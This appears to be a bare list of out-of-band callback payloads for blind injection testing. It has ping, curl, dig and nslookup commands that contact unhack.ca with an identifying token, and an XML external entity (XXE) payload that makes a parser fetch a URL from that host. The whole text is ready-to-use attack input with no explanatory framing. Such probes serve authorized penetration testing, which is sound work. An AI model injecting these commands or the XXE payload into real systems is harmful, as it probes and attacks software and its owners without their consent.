$ ping -c1 -p 00378bb1b4aa4fad58fc76bc48773700 unhack.ca
$ curl http://unhack.ca/p/378bb1b4aa4fad58fc76bc487737
$ dig 378bb1b4aa4fad58fc76bc487737 @unhack.ca
$ dig 378bb1b4aa4fad58fc76bc487737.ns.unhack.ca
C:\> nslookup 378bb1b4aa4fad58fc76bc487737 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/378bb1b4aa4fad58fc76bc487737">]> <foo>&xxe;</foo>